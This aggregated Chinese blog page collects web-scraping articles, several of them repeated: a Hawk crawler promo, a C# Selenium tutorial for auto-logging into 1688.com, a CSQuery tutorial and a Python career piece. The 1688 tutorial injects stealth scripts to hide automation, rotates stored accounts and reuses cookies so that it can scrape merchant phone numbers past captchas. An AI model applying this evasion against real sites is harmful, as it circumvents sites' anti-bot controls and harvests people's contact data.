  然后我们启动抓取器,Hawk就会给每个子线程(可以理解为机器人)分配任务:给我抓取这个小区的所有二手房! 然后你就会看到壮观的场面:一堆小机器人,同心协力地从网站上搬数据,超牛迅雷有没有?同时100个任务!!上个厕所回来就抓完了!!!
  
  ◆◆◆
  清洗:识别并转换内容
  获取的数据大概长这样:
  
  但你会看到,里面会有些奇怪的字符应该去去掉。xx平米应该都把数字提取出来。而售价,有的是2130000元,有的是373万元,这些都很难处理。
  BUT,没关系!Hawk能够自动识别所有的数据:
  哈哈,然后你就能够轻松地把这些数据拿去作分析了,纯净无污染!
  ◆◆◆
  破解需要登录的网站
  此处的意思当然不是去破解用户名密码,还没强到那个程度。 有些网站的数据,都需要登录才能访问。这也难不倒我们。
  当你开启了Hawk内置了嗅探功能时,Hawk就像一个录音机一样,会记录你对目标网站的访问操作。之后它就会将其重放出来,从而实现自动登录。
  你会不会担心Hawk保存你的用户名密码?不保存怎么自动登录呢?但是Hawk是开源的,所有代码都经过了审查,是安全的。你的私密信息,只会躺在你自己的硬盘里。
  
  (我们就这样自动登录了大众点评)
  ◆◆◆
  是不是我也可以抓数据了
  理论上是的。但道高一尺魔高一丈,不同的网站千差万别,对抗爬虫的技术也有很多种。而且小虫虫对细节非常敏感,只要错一点,后面的步骤就可能进行不下去了。
  怎么办呢?沙漠君把之前的操作保存并分享出来,你只要加载这些文件就能快速获取数据了。
  如果你有其他网站的获取需求,可以去找你身边的程序员同学,让他们来帮忙抓数据,或让他们来试试Hawk,看看谁的效率更高。
  如果你是文科生妹子,那还是建议你多看看东野奎吾和村上春树,直接上手这么复杂的软件会让你抓狂的。那该找谁帮忙抓数据呢?嘿嘿嘿...
  ◆◆◆
  在哪里获取软件和教程?
  Hawk: Advanced Crawler& ETL tool written in C#/WPF软件介绍
  HAWK是一种数据采集和清洗工具,依据GPL协议开源,能够灵活,有效地采集来自网页,数据库,文件, 并通过可视化地拖拽,快速地进行生成,过滤,转换等操作。其功能最适合的领域,是爬虫和数据清洗。
  Hawk的含义为“鹰”,能够高效,准确地捕杀猎物。
  HAWK使用C# 编写,其前端界面使用WPF开发,支持插件扩展。通过图形化操作,能够快速建立解决方案。
  GitHub地址:
  其Python等价的实现是etlpy:
  笔者专门为其开发的工程文件已公开在GitHub:
  使用时,点击文件,加载工程即可加载。
  不想编译的话,可执行文件在:
  密码:4iy0
  编译路径在:
  Hawk.Core\Hawk.Core.sln
  感谢作者授权转载,稿件部分有变动,作者在大数据文摘的其他投稿点击文末推荐文章查看。
  <strong style="max-width: 100%; line-height: 28px; white-space: normal; color: rgb(61, 170, 214); font-size: 20px; box-sizing: border-box !important; word-wrap: break-word !important;">◆ ◆ ◆</strong>

c#爬虫-1688官网自动登录

网站优化优采云 发表了文章 • 0 个评论 • 97 次浏览 • 2022-05-06 08:17 • 来自相关话题

  c#爬虫-1688官网自动登录
  背景
  在1688官网里面有很多信息是需要登录才能看得到的,比如商家的联系电话等等。那么我们在抓取它的网页的时候,肯定是需要维持登录状态才能得到对应的内容。这里面就会涉及到自动登录的问题。
  登录地址
  
  自动登录方法
  1、找到对应的元素,账号、密码框。
  
  2、把账号、密码值带进去。
   List logininfolist = new List(); string file = "1688Account.json"; if (!File.Exists(file)) { throw new ArgumentException("1688Account not found"); } string data = File.ReadAllText(file, Encoding.UTF8); var account1688list = JsonConvert.DeserializeObject(data); logininfolist.AddRange(account1688list.Select(o => o.AccountPassword).ToList()); Random rdinfo = new Random(); int indexinfo = rdinfo.Next(logininfolist.Count); var modelinfo = logininfolist[indexinfo]; driver.FindElement(By.Id("fm-login-id")).SendKeys(modelinfo.Split('+')[0]); driver.FindElement(By.Id("fm-login-password")).SendKeys(modelinfo.Split('+')[1]);
  3、模拟点击提交按钮操作。
   // Thread.Sleep(1000 * 30); //30时间操作 driver.FindElement(By.ClassName("password-login")).Click(); Thread.Sleep(1000 * 30);//30时间操作
  4、进入控制台,验证是否登陆成功。并记录Cookies,下次再来的时候,直接使用现成的Cookies,一般有效期可以维持一天多左右。
   driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;); Thread.Sleep(1000 * 5); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("登录失败"); CookieHelp.DeleteCookies(); Console.WriteLine("2"); throw new Exception("重新登录"); } driver.Navigate().Refresh(); CookieHelp.WriteCookies(driver.Manage().Cookies.AllCookies);
  5、判断是否有现成的登录cookies。
   driver.Navigate().GoToUrl("https://www.1688.com/"); driver.Manage().Cookies.DeleteAllCookies(); var listCookie = CookieHelp.GetCookie(); if (listCookie != null) { logintry = 0; Console.WriteLine("有现成cookies" + DateTime.UtcNow); foreach (var item in listCookie) { driver.Manage().Cookies.AddCookie(new Cookie(item.Name, item.Value, item.Domain, item.Path, item.Expiry)); } Thread.Sleep(2000);<br /> driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;);<br /> Thread.Sleep(1000 * 2);
  完整代码
   /// /// 登录 todo /// /// /// /// public void Implement(IReptilesImageSearchService _reptilesImageSearchService, IWebDriver driver) { driver.Navigate().GoToUrl("https://www.1688.com/"); driver.Manage().Cookies.DeleteAllCookies(); var listCookie = CookieHelp.GetCookie(); if (listCookie != null) { logintry = 0; Console.WriteLine("有现成cookies" + DateTime.UtcNow); foreach (var item in listCookie) { driver.Manage().Cookies.AddCookie(new Cookie(item.Name, item.Value, item.Domain, item.Path, item.Expiry)); } Thread.Sleep(2000);<br /> driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;);<br /> Thread.Sleep(1000 * 2); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("cookies过期了"); CookieHelp.DeleteCookies(); Console.WriteLine("1"); throw new Exception("重新登录"); } } else { if (logintry > 4) { Console.WriteLine("登陆次数超出:" + logintry); throw new Exception("登陆次数超出,退出"); } logintry++; Console.WriteLine("无现成cookies" + DateTime.UtcNow); driver.Navigate().GoToUrl("https://login.1688.com/member/signin.htm"); #region 登录动作 driver.SwitchTo().Frame(0);<br /> IJavaScriptExecutor js = (IJavaScriptExecutor)driver; ////// string returnjs = (string)js.ExecuteScript("Object.defineProperties(navigator, {webdriver:{get:()=>undefined}});");<br /> string jsfile = File.ReadAllText("stealth.min.js", Encoding.UTF8); string returnjs = (string)js.ExecuteScript(jsfile);<br /> List logininfolist = new List(); string file = "1688Account.json"; if (!File.Exists(file)) { throw new ArgumentException("1688Account not found"); } string data = File.ReadAllText(file, Encoding.UTF8); var account1688list = JsonConvert.DeserializeObject(data); logininfolist.AddRange(account1688list.Select(o => o.AccountPassword).ToList()); Random rdinfo = new Random(); int indexinfo = rdinfo.Next(logininfolist.Count); var modelinfo = logininfolist[indexinfo]; driver.FindElement(By.Id("fm-login-id")).SendKeys(modelinfo.Split('+')[0]); driver.FindElement(By.Id("fm-login-password")).SendKeys(modelinfo.Split('+')[1]); // Thread.Sleep(1000 * 30); //30时间操作 driver.FindElement(By.ClassName("password-login")).Click(); Thread.Sleep(1000 * 30);//30时间操作<br /> #endregion 登录动作 driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;); Thread.Sleep(1000 * 5); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("登录失败"); CookieHelp.DeleteCookies(); Console.WriteLine("2"); throw new Exception("重新登录"); } driver.Navigate().Refresh(); CookieHelp.WriteCookies(driver.Manage().Cookies.AllCookies); } Thread.Sleep(1000); }<br />
  注意事项
  1、登录的时候,有时候会出现滑块验证码,这时候一般是使用其他账号重试或者是在当前的机器手工登录一次,后面基本就会被信任。
  2、使用这段代码本身就是模拟真实用户的行为,最大限度的减少验证码出现的几率。
   IJavaScriptExecutor js = (IJavaScriptExecutor)driver; ////// string returnjs = (string)js.ExecuteScript("Object.defineProperties(navigator, {webdriver:{get:()=>undefined}});");<br /> string jsfile = File.ReadAllText("stealth.min.js", Encoding.UTF8); string returnjs = (string)js.ExecuteScript(jsfile);<br /> 查看全部

  c#爬虫-1688官网自动登录
  背景
  在1688官网里面有很多信息是需要登录才能看得到的,比如商家的联系电话等等。那么我们在抓取它的网页的时候,肯定是需要维持登录状态才能得到对应的内容。这里面就会涉及到自动登录的问题。
  登录地址
  
  自动登录方法
  1、找到对应的元素,账号、密码框。
  
  2、把账号、密码值带进去。
   List logininfolist = new List(); string file = "1688Account.json"; if (!File.Exists(file)) { throw new ArgumentException("1688Account not found"); } string data = File.ReadAllText(file, Encoding.UTF8); var account1688list = JsonConvert.DeserializeObject(data); logininfolist.AddRange(account1688list.Select(o => o.AccountPassword).ToList()); Random rdinfo = new Random(); int indexinfo = rdinfo.Next(logininfolist.Count); var modelinfo = logininfolist[indexinfo]; driver.FindElement(By.Id("fm-login-id")).SendKeys(modelinfo.Split('+')[0]); driver.FindElement(By.Id("fm-login-password")).SendKeys(modelinfo.Split('+')[1]);
  3、模拟点击提交按钮操作。
   // Thread.Sleep(1000 * 30); //30时间操作 driver.FindElement(By.ClassName("password-login")).Click(); Thread.Sleep(1000 * 30);//30时间操作
  4、进入控制台,验证是否登陆成功。并记录Cookies,下次再来的时候,直接使用现成的Cookies,一般有效期可以维持一天多左右。
   driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;); Thread.Sleep(1000 * 5); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("登录失败"); CookieHelp.DeleteCookies(); Console.WriteLine("2"); throw new Exception("重新登录"); } driver.Navigate().Refresh(); CookieHelp.WriteCookies(driver.Manage().Cookies.AllCookies);
  5、判断是否有现成的登录cookies。
   driver.Navigate().GoToUrl("https://www.1688.com/";); driver.Manage().Cookies.DeleteAllCookies(); var listCookie = CookieHelp.GetCookie(); if (listCookie != null) { logintry = 0; Console.WriteLine("有现成cookies" + DateTime.UtcNow); foreach (var item in listCookie) { driver.Manage().Cookies.AddCookie(new Cookie(item.Name, item.Value, item.Domain, item.Path, item.Expiry)); } Thread.Sleep(2000);<br /> driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;);<br /> Thread.Sleep(1000 * 2);
  完整代码
   /// /// 登录 todo /// /// /// /// public void Implement(IReptilesImageSearchService _reptilesImageSearchService, IWebDriver driver) { driver.Navigate().GoToUrl("https://www.1688.com/";); driver.Manage().Cookies.DeleteAllCookies(); var listCookie = CookieHelp.GetCookie(); if (listCookie != null) { logintry = 0; Console.WriteLine("有现成cookies" + DateTime.UtcNow); foreach (var item in listCookie) { driver.Manage().Cookies.AddCookie(new Cookie(item.Name, item.Value, item.Domain, item.Path, item.Expiry)); } Thread.Sleep(2000);<br /> driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;);<br /> Thread.Sleep(1000 * 2); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("cookies过期了"); CookieHelp.DeleteCookies(); Console.WriteLine("1"); throw new Exception("重新登录"); } } else { if (logintry > 4) { Console.WriteLine("登陆次数超出:" + logintry); throw new Exception("登陆次数超出,退出"); } logintry++; Console.WriteLine("无现成cookies" + DateTime.UtcNow); driver.Navigate().GoToUrl("https://login.1688.com/member/signin.htm";); #region 登录动作 driver.SwitchTo().Frame(0);<br /> IJavaScriptExecutor js = (IJavaScriptExecutor)driver; ////// string returnjs = (string)js.ExecuteScript("Object.defineProperties(navigator, {webdriver:{get:()=>undefined}});");<br /> string jsfile = File.ReadAllText("stealth.min.js", Encoding.UTF8); string returnjs = (string)js.ExecuteScript(jsfile);<br /> List logininfolist = new List(); string file = "1688Account.json"; if (!File.Exists(file)) { throw new ArgumentException("1688Account not found"); } string data = File.ReadAllText(file, Encoding.UTF8); var account1688list = JsonConvert.DeserializeObject(data); logininfolist.AddRange(account1688list.Select(o => o.AccountPassword).ToList()); Random rdinfo = new Random(); int indexinfo = rdinfo.Next(logininfolist.Count); var modelinfo = logininfolist[indexinfo]; driver.FindElement(By.Id("fm-login-id")).SendKeys(modelinfo.Split('+')[0]); driver.FindElement(By.Id("fm-login-password")).SendKeys(modelinfo.Split('+')[1]); // Thread.Sleep(1000 * 30); //30时间操作 driver.FindElement(By.ClassName("password-login")).Click(); Thread.Sleep(1000 * 30);//30时间操作<br /> #endregion 登录动作 driver.Navigate().GoToUrl("https://work.1688.com/%3Ftrace ... 6quot;); Thread.Sleep(1000 * 5); if (driver.Url.Contains("login.1688.com")) { Console.WriteLine("登录失败"); CookieHelp.DeleteCookies(); Console.WriteLine("2"); throw new Exception("重新登录"); } driver.Navigate().Refresh(); CookieHelp.WriteCookies(driver.Manage().Cookies.AllCookies); } Thread.Sleep(1000); }<br />
  注意事项
  1、登录的时候,有时候会出现滑块验证码,这时候一般是使用其他账号重试或者是在当前的机器手工登录一次,后面基本就会被信任。
  2、使用这段代码本身就是模拟真实用户的行为,最大限度的减少验证码出现的几率。
   IJavaScriptExecutor js = (IJavaScriptExecutor)driver; ////// string returnjs = (string)js.ExecuteScript("Object.defineProperties(navigator, {webdriver:{get:()=>undefined}});");<br /> string jsfile = File.ReadAllText("stealth.min.js", Encoding.UTF8); string returnjs = (string)js.ExecuteScript(jsfile);<br />

你没有看错,爬网页数据,C# 也可以像 Jquery 那样

网站优化优采云 发表了文章 • 0 个评论 • 77 次浏览 • 2022-05-06 08:09 • 来自相关话题

  你没有看错,爬网页数据,C# 也可以像 Jquery 那样
  
  一:背景1. 讲故事
  前段时间搞了一个地方性民生资讯号,资讯嘛,都是我抄你的,你抄官媒的,小市民都喜欢奇闻异事,所以就存在一个需求,如何去定向抓取奇闻异事的地方号上的新闻,其实做起来很简单,用逻辑回归即可,这篇主要讨论如何去抓取,在 C# 中大家都知道抓取通用的库是 HtmlAgilityPack,但是这个库主流的做法是采用 xpath 提取网页内容,这就让我很不爽了,毕竟不熟悉莫名的抵抗哈,像我这个年纪的码农,被 Jquery 教育了至少 5-6 年,所以必须用 类Jquery 的方式,在 python 中有 pyquery 做这件事情,那在C# 中有没有类似的方式呢?嘿嘿,万能的 github 上还真有。。。就是本篇介绍的 CSQuery。
  二:CSQuery1. 安装
  github的地址: 然后在vs中 nuget 一下即可:
  
  2. 举几个例子
  一切都准备就绪了,那怎么用呢?不着急,我以博客园举两个例子。
  1) 将首页中的 友情连接 提取到
  
  如上图,要想获取这里的友情链接几个大字,直接用 text() 肯定是不行的,默认情况它会将所有的子节点的文本也会抓到,如下图:
  
  那怎么处理呢?可以用 jquery 提供的 contents 方法,然后在获取的所有子节点中判断是否有 文本节点,最后获取文本节点的内容即可,如下代码:
  
  用js是搞定了,那用 CSQuery 代码怎么搞定呢?模仿呗,如下代码:
  <br />        static void Main(string[] args)<br />        {<br />            var jquery = CQ.CreateDocument(new WebClient().DownloadString("http://cnblogs.com"));<br /><br />            var content = jquery["#friend_link"].Contents().Filter((dom) =><br />            {<br />                return dom.NodeType == NodeType.TEXT_NODE;<br />            }).Text();<br /><br />            Console.WriteLine(content);<br />        }<br /><br />
  我不知道用 xpath 提取这样的内容麻不麻烦,不过用 jquery 方式不简单,但轻车熟路。
  2) 如何将 html 中的某些元素标颜色
  有时候为了业务需要将某些 html 标签改一下颜色,比如说将首页的 tabmenu 中博问和专区改成红色,如下图:
  
  那用 CSQuery 怎么处理呢?如果玩过 jquery,一般来说步骤如下:
  有了步骤,C#代码如下:
  <br />        static void Main(string[] args)<br />        {<br />            Config.HtmlEncoder = HtmlEncoders.None;<br /><br />            var jquery = CQ.CreateDocument(new WebClient().DownloadString("http://cnblogs.com"));<br /><br />            var html = jquery["#nav_left li"].Each(dom =><br />               {<br />                   var self = jquery[dom];<br /><br />                   var text = self.Text();<br /><br />                   if (text == "博问" || text == "专区")<br />                   {<br />                       self.Find("a").CssSet(new { color = "red" });<br />                   }<br />               }).Render();<br />        }<br />        <br />
  
  3) 其他的操作方法
  除了上面两个操作方法外,你还可以使用 after,before,replaceAll,IS 等等一百来个实用的方法,这篇肯定也无法一一介绍了,大家有兴趣可以下载下来看一看,捣鼓捣鼓。
  三:其他用途
  除了抓取html中的元素,我觉得这玩意还可以用在发送邮件时操控邮件模板,毕竟在很久以前大家都是用jquery来绘制 html,所以用 CSQuery 也是可以的,相对使用 xslt 有利有弊吧,接下来做一个例子:
  1. 生成一个html模板
  <br /><br /><br /><br /><br />    <br />    <br /><br /><br />    <br /><br /><br /><br />
  2. 使用 CSQuery 给 ul 追加 li
  可以用 Append 将内容追加到节点内。
  
  3. 部分渲染 RenderSelection
  Render方法是将整个Dom渲染成html,但有时候你只需要得到你修改的那部分内容,而不是整个html,这就涉及到了部分渲染,可以用RenderSelection方法即可,代码如下:
  <br />        static void Main(string[] args)<br />        {<br />            Config.HtmlEncoder = HtmlEncoders.None;<br /><br />            var strlist = new string[2] { "1", "2" };<br /><br />            var path = Environment.CurrentDirectory + "\\2.html";<br />            var jquery = CQ.CreateFromFile(path);<br /><br />            var current = jquery.Find("#main");<br /><br />            foreach (var str in strlist)<br />            {<br />                current.Append($"{str}");<br />            }<br /><br />            var html = current.RenderSelection();<br /><br />            Console.WriteLine(html);<br />        }<br /><br />------------- output ----------------<br /><br />12<br /><br />
  四:总结
  Jquery 这种操作模式对我个人来说还是比较舒服的,毕竟熟!不过在 html5 中也新增了 querySelector 和 querySelectorAll 支持 css3 选择器,非常强大,可 jquery 不光在选择器的灵活上,还在于对节点的灵活操作上,总的来说不是特别富交互的情况下可以怀旧一把。
  
  往期精彩回顾 查看全部

  你没有看错,爬网页数据,C# 也可以像 Jquery 那样
  
  一:背景1. 讲故事
  前段时间搞了一个地方性民生资讯号,资讯嘛,都是我抄你的,你抄官媒的,小市民都喜欢奇闻异事,所以就存在一个需求,如何去定向抓取奇闻异事的地方号上的新闻,其实做起来很简单,用逻辑回归即可,这篇主要讨论如何去抓取,在 C# 中大家都知道抓取通用的库是 HtmlAgilityPack,但是这个库主流的做法是采用 xpath 提取网页内容,这就让我很不爽了,毕竟不熟悉莫名的抵抗哈,像我这个年纪的码农,被 Jquery 教育了至少 5-6 年,所以必须用 类Jquery 的方式,在 python 中有 pyquery 做这件事情,那在C# 中有没有类似的方式呢?嘿嘿,万能的 github 上还真有。。。就是本篇介绍的 CSQuery。
  二:CSQuery1. 安装
  github的地址: 然后在vs中 nuget 一下即可:
  
  2. 举几个例子
  一切都准备就绪了,那怎么用呢?不着急,我以博客园举两个例子。
  1) 将首页中的 友情连接 提取到
  
  如上图,要想获取这里的友情链接几个大字,直接用 text() 肯定是不行的,默认情况它会将所有的子节点的文本也会抓到,如下图:
  
  那怎么处理呢?可以用 jquery 提供的 contents 方法,然后在获取的所有子节点中判断是否有 文本节点,最后获取文本节点的内容即可,如下代码:
  
  用js是搞定了,那用 CSQuery 代码怎么搞定呢?模仿呗,如下代码:
  <br />        static void Main(string[] args)<br />        {<br />            var jquery = CQ.CreateDocument(new WebClient().DownloadString("http://cnblogs.com";));<br /><br />            var content = jquery["#friend_link"].Contents().Filter((dom) =><br />            {<br />                return dom.NodeType == NodeType.TEXT_NODE;<br />            }).Text();<br /><br />            Console.WriteLine(content);<br />        }<br /><br />
  我不知道用 xpath 提取这样的内容麻不麻烦,不过用 jquery 方式不简单,但轻车熟路。
  2) 如何将 html 中的某些元素标颜色
  有时候为了业务需要将某些 html 标签改一下颜色,比如说将首页的 tabmenu 中博问和专区改成红色,如下图:
  
  那用 CSQuery 怎么处理呢?如果玩过 jquery,一般来说步骤如下:
  有了步骤,C#代码如下:
  <br />        static void Main(string[] args)<br />        {<br />            Config.HtmlEncoder = HtmlEncoders.None;<br /><br />            var jquery = CQ.CreateDocument(new WebClient().DownloadString("http://cnblogs.com";));<br /><br />            var html = jquery["#nav_left li"].Each(dom =><br />               {<br />                   var self = jquery[dom];<br /><br />                   var text = self.Text();<br /><br />                   if (text == "博问" || text == "专区")<br />                   {<br />                       self.Find("a").CssSet(new { color = "red" });<br />                   }<br />               }).Render();<br />        }<br />        <br />
  
  3) 其他的操作方法
  除了上面两个操作方法外,你还可以使用 after,before,replaceAll,IS 等等一百来个实用的方法,这篇肯定也无法一一介绍了,大家有兴趣可以下载下来看一看,捣鼓捣鼓。
  三:其他用途
  除了抓取html中的元素,我觉得这玩意还可以用在发送邮件时操控邮件模板,毕竟在很久以前大家都是用jquery来绘制 html,所以用 CSQuery 也是可以的,相对使用 xslt 有利有弊吧,接下来做一个例子:
  1. 生成一个html模板
  <br /><br /><br /><br /><br />    <br />    <br /><br /><br />    <br /><br /><br /><br />
  2. 使用 CSQuery 给 ul 追加 li
  可以用 Append 将内容追加到节点内。
  
  3. 部分渲染 RenderSelection
  Render方法是将整个Dom渲染成html,但有时候你只需要得到你修改的那部分内容,而不是整个html,这就涉及到了部分渲染,可以用RenderSelection方法即可,代码如下:
  <br />        static void Main(string[] args)<br />        {<br />            Config.HtmlEncoder = HtmlEncoders.None;<br /><br />            var strlist = new string[2] { "1", "2" };<br /><br />            var path = Environment.CurrentDirectory + "\\2.html";<br />            var jquery = CQ.CreateFromFile(path);<br /><br />            var current = jquery.Find("#main");<br /><br />            foreach (var str in strlist)<br />            {<br />                current.Append($"{str}");<br />            }<br /><br />            var html = current.RenderSelection();<br /><br />            Console.WriteLine(html);<br />        }<br /><br />------------- output ----------------<br /><br />12<br /><br />
  四:总结
  Jquery 这种操作模式对我个人来说还是比较舒服的,毕竟熟!不过在 html5 中也新增了 querySelector 和 querySelectorAll 支持 css3 选择器,非常强大,可 jquery 不光在选择器的灵活上,还在于对节点的灵活操作上,总的来说不是特别富交互的情况下可以怀旧一把。
  
  往期精彩回顾

c#抓取网页数据 学完Python后,都能干点什么?

网站优化优采云 发表了文章 • 0 个评论 • 107 次浏览 • 2022-05-03 17:42 • 来自相关话题

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。 查看全部

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。

c#抓取网页数据 学完Python后,都能干点什么?

网站优化优采云 发表了文章 • 0 个评论 • 115 次浏览 • 2022-05-03 05:44 • 来自相关话题

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。 查看全部

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
